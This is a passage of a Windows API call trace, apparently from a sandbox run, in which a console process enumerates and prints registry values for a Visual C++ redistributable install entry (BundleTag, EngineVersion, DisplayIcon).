CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.894] GetConsoleOutputCP () returned 0x1b5 [0150.894] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.894] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.894] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.894] __iob_func () returned 0x7fefd702a80 [0150.894] _fileno (_File=0x7fefd702ab0) returned 1 [0150.894] _errno () returned 0x204bb0 [0150.895] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.895] _errno () returned 0x204bb0 [0150.895] GetFileType (hFile=0x50) returned 0x1 [0150.895] lstrlenW (lpString=" ") returned 4 [0150.895] GetConsoleOutputCP () returned 0x1b5 [0150.895] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.895] GetConsoleOutputCP () returned 0x1b5 [0150.895] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.895] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.895] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.895] __iob_func () returned 0x7fefd702a80 [0150.895] _fileno (_File=0x7fefd702ab0) returned 1 [0150.895] _errno () returned 0x204bb0 [0150.895] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.895] _errno () returned 0x204bb0 [0150.895] GetFileType (hFile=0x50) returned 0x1 [0150.895] lstrlenW (lpString="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 38 [0150.895] GetConsoleOutputCP () returned 0x1b5 [0150.895] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0150.895] GetConsoleOutputCP () returned 0x1b5 [0150.895] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cchWideChar=38, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpUsedDefaultChar=0x0) returned 38 [0150.895] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 38 [0150.895] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.896] __iob_func () returned 0x7fefd702a80 [0150.896] _fileno (_File=0x7fefd702ab0) returned 1 [0150.896] _errno () returned 0x204bb0 [0150.896] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.896] _errno () returned 0x204bb0 [0150.896] GetFileType (hFile=0x50) returned 0x1 [0150.896] lstrlenW (lpString="\n") returned 1 [0150.896] GetConsoleOutputCP () returned 0x1b5 [0150.896] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.896] GetConsoleOutputCP () returned 0x1b5 [0150.896] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.896] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.896] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.896] GetProcessHeap () returned 0x3c0000 [0150.896] GetProcessHeap () returned 0x3c0000 [0150.896] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.896] GetProcessHeap () returned 0x3c0000 [0150.896] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x52 [0150.896] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.896] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleTag", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.896] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleTag", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2) returned 0x0 [0150.896] GetProcessHeap () returned 0x3c0000 [0150.896] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x4) returned 0x3dee90 [0150.896] GetProcessHeap () returned 0x3c0000 [0150.896] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.896] GetProcessHeap () returned 0x3c0000 [0150.896] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x4 [0150.896] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleTag", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x2 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.897] __iob_func () returned 0x7fefd702a80 [0150.897] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.897] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.897] _fileno (_File=0x7fefd702ab0) returned 1 [0150.897] _errno () returned 0x204bb0 [0150.897] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.897] _errno () returned 0x204bb0 [0150.897] GetFileType (hFile=0x50) returned 0x1 [0150.897] lstrlenW (lpString=" ") returned 4 [0150.897] GetConsoleOutputCP () returned 0x1b5 [0150.897] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.897] GetConsoleOutputCP () returned 0x1b5 [0150.897] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.897] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.897] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.897] lstrlenW (lpString="BundleTag") returned 9 [0150.897] __iob_func () returned 0x7fefd702a80 [0150.897] _fileno (_File=0x7fefd702ab0) returned 1 [0150.897] _errno () returned 0x204bb0 [0150.897] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.897] _errno () returned 0x204bb0 [0150.897] GetFileType (hFile=0x50) returned 0x1 [0150.897] lstrlenW (lpString="BundleTag") returned 9 [0150.897] GetConsoleOutputCP () returned 0x1b5 [0150.898] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleTag", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.898] GetConsoleOutputCP () returned 0x1b5 [0150.898] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleTag", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleTag", lpUsedDefaultChar=0x0) returned 9 [0150.898] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.898] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.898] __iob_func () returned 0x7fefd702a80 [0150.898] _fileno (_File=0x7fefd702ab0) returned 1 [0150.898] _errno () returned 0x204bb0 [0150.898] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.898] _errno () returned 0x204bb0 [0150.898] GetFileType (hFile=0x50) returned 0x1 [0150.898] lstrlenW (lpString=" ") returned 4 [0150.898] GetConsoleOutputCP () returned 0x1b5 [0150.898] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.898] GetConsoleOutputCP () returned 0x1b5 [0150.898] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.898] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.898] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.898] __iob_func () returned 0x7fefd702a80 [0150.898] _fileno (_File=0x7fefd702ab0) returned 1 [0150.898] _errno () returned 0x204bb0 [0150.898] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.898] _errno () returned 0x204bb0 [0150.898] GetFileType (hFile=0x50) returned 0x1 [0150.899] lstrlenW (lpString="REG_SZ") returned 6 [0150.899] GetConsoleOutputCP () returned 0x1b5 [0150.899] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.899] GetConsoleOutputCP () returned 0x1b5 [0150.899] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.899] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.899] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.899] __iob_func () returned 0x7fefd702a80 [0150.899] _fileno (_File=0x7fefd702ab0) returned 1 [0150.899] _errno () returned 0x204bb0 [0150.899] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.899] _errno () returned 0x204bb0 [0150.899] GetFileType (hFile=0x50) returned 0x1 [0150.899] lstrlenW (lpString=" ") returned 4 [0150.899] GetConsoleOutputCP () returned 0x1b5 [0150.899] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.899] GetConsoleOutputCP () returned 0x1b5 [0150.899] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.899] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.899] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.900] __iob_func () returned 0x7fefd702a80 [0150.900] _fileno (_File=0x7fefd702ab0) returned 1 [0150.900] _errno () returned 0x204bb0 [0150.900] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.900] _errno () returned 0x204bb0 [0150.900] GetFileType (hFile=0x50) returned 0x1 [0150.900] lstrlenW (lpString="") returned 0 [0150.900] __iob_func () returned 0x7fefd702a80 [0150.900] _fileno (_File=0x7fefd702ab0) returned 1 [0150.900] _errno () returned 0x204bb0 [0150.900] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.900] _errno () returned 0x204bb0 [0150.900] GetFileType (hFile=0x50) returned 0x1 [0150.900] lstrlenW (lpString="\n") returned 1 [0150.900] GetConsoleOutputCP () returned 0x1b5 [0150.900] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.900] GetConsoleOutputCP () returned 0x1b5 [0150.900] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.900] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.900] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.900] GetProcessHeap () returned 0x3c0000 [0150.900] GetProcessHeap () returned 0x3c0000 [0150.900] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.900] GetProcessHeap () returned 0x3c0000 [0150.900] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x4 [0150.900] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.900] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EngineVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.901] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EngineVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x18) returned 0x0 [0150.901] GetProcessHeap () returned 0x3c0000 [0150.901] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1a) returned 0x3d5c30 [0150.901] GetProcessHeap () returned 0x3c0000 [0150.901] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.901] GetProcessHeap () returned 0x3c0000 [0150.901] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1a [0150.901] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EngineVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x18 | out: pdwType=0x29f700*=0x1, pvData="3.7.2829.0", pcbData=0x29f780*=0x16) returned 0x0 [0150.901] __iob_func () returned 0x7fefd702a80 [0150.901] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.901] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.901] _fileno (_File=0x7fefd702ab0) returned 1 [0150.901] _errno () returned 0x204bb0 [0150.901] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.901] _errno () returned 0x204bb0 [0150.901] GetFileType (hFile=0x50) returned 0x1 [0150.901] lstrlenW (lpString=" ") returned 4 [0150.901] GetConsoleOutputCP () returned 0x1b5 [0150.901] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.901] GetConsoleOutputCP () returned 0x1b5 [0150.901] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.901] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.901] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.901] lstrlenW (lpString="EngineVersion") returned 13 [0150.901] __iob_func () returned 0x7fefd702a80 [0150.901] _fileno (_File=0x7fefd702ab0) returned 1 [0150.901] _errno () returned 0x204bb0 [0150.902] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.902] _errno () returned 0x204bb0 [0150.902] GetFileType (hFile=0x50) returned 0x1 [0150.902] lstrlenW (lpString="EngineVersion") returned 13 [0150.902] GetConsoleOutputCP () returned 0x1b5 [0150.902] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EngineVersion", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.902] GetConsoleOutputCP () returned 0x1b5 [0150.902] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EngineVersion", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EngineVersion", lpUsedDefaultChar=0x0) returned 13 [0150.902] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.902] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.902] __iob_func () returned 0x7fefd702a80 [0150.902] _fileno (_File=0x7fefd702ab0) returned 1 [0150.902] _errno () returned 0x204bb0 [0150.902] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.902] _errno () returned 0x204bb0 [0150.902] GetFileType (hFile=0x50) returned 0x1 [0150.902] lstrlenW (lpString=" ") returned 4 [0150.902] GetConsoleOutputCP () returned 0x1b5 [0150.902] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.902] GetConsoleOutputCP () returned 0x1b5 [0150.902] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.902] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.903] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.903] __iob_func () returned 0x7fefd702a80 [0150.903] _fileno (_File=0x7fefd702ab0) returned 1 [0150.903] _errno () returned 0x204bb0 [0150.903] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.903] _errno () returned 0x204bb0 [0150.903] GetFileType (hFile=0x50) returned 0x1 [0150.903] lstrlenW (lpString="REG_SZ") returned 6 [0150.903] GetConsoleOutputCP () returned 0x1b5 [0150.903] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.903] GetConsoleOutputCP () returned 0x1b5 [0150.903] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.903] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.903] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.903] __iob_func () returned 0x7fefd702a80 [0150.903] _fileno (_File=0x7fefd702ab0) returned 1 [0150.903] _errno () returned 0x204bb0 [0150.903] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.903] _errno () returned 0x204bb0 [0150.903] GetFileType (hFile=0x50) returned 0x1 [0150.903] lstrlenW (lpString=" ") returned 4 [0150.903] GetConsoleOutputCP () returned 0x1b5 [0150.903] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.903] GetConsoleOutputCP () returned 0x1b5 [0150.904] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.904] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.904] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.904] __iob_func () returned 0x7fefd702a80 [0150.904] _fileno (_File=0x7fefd702ab0) returned 1 [0150.904] _errno () returned 0x204bb0 [0150.904] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.904] _errno () returned 0x204bb0 [0150.904] GetFileType (hFile=0x50) returned 0x1 [0150.904] lstrlenW (lpString="3.7.2829.0") returned 10 [0150.904] GetConsoleOutputCP () returned 0x1b5 [0150.904] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="3.7.2829.0", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.904] GetConsoleOutputCP () returned 0x1b5 [0150.904] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="3.7.2829.0", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3.7.2829.0", lpUsedDefaultChar=0x0) returned 10 [0150.904] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0150.904] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.904] __iob_func () returned 0x7fefd702a80 [0150.904] _fileno (_File=0x7fefd702ab0) returned 1 [0150.904] _errno () returned 0x204bb0 [0150.904] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.904] _errno () returned 0x204bb0 [0150.904] GetFileType (hFile=0x50) returned 0x1 [0150.904] lstrlenW (lpString="\n") returned 1 [0150.904] GetConsoleOutputCP () returned 0x1b5 [0150.905] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.905] GetConsoleOutputCP () returned 0x1b5 [0150.905] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.905] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.905] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.905] GetProcessHeap () returned 0x3c0000 [0150.905] GetProcessHeap () returned 0x3c0000 [0150.905] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.905] GetProcessHeap () returned 0x3c0000 [0150.905] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1a [0150.905] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0150.905] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayIcon", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.905] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xb0) returned 0x0 [0150.905] GetProcessHeap () returned 0x3c0000 [0150.905] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xb2) returned 0x3e1c70 [0150.905] GetProcessHeap () returned 0x3c0000 [0150.905] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.905] GetProcessHeap () returned 0x3c0000 [0150.905] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xb2 [0150.905] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayIcon", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xb0 | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe,0", pcbData=0x29f780*=0xae) returned 0x0 [0150.905] __iob_func () returned 0x7fefd702a80 [0150.905] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.905] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.905] _fileno (_File=0x7fefd702ab0) returned 1 [0150.905] _errno () returned 0x204bb0 [0150.905] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.905] _errno () returned 0x204bb0 [0150.905] GetFileType (hFile=0x50) returned 0x1 [0150.906] lstrlenW (lpString=" ") returned 4 [0150.906] GetConsoleOutputCP () returned 0x1b5 [0150.906] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.906] GetConsoleOutputCP () returned 0x1b5 [0150.906] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.906] fprintf (in: 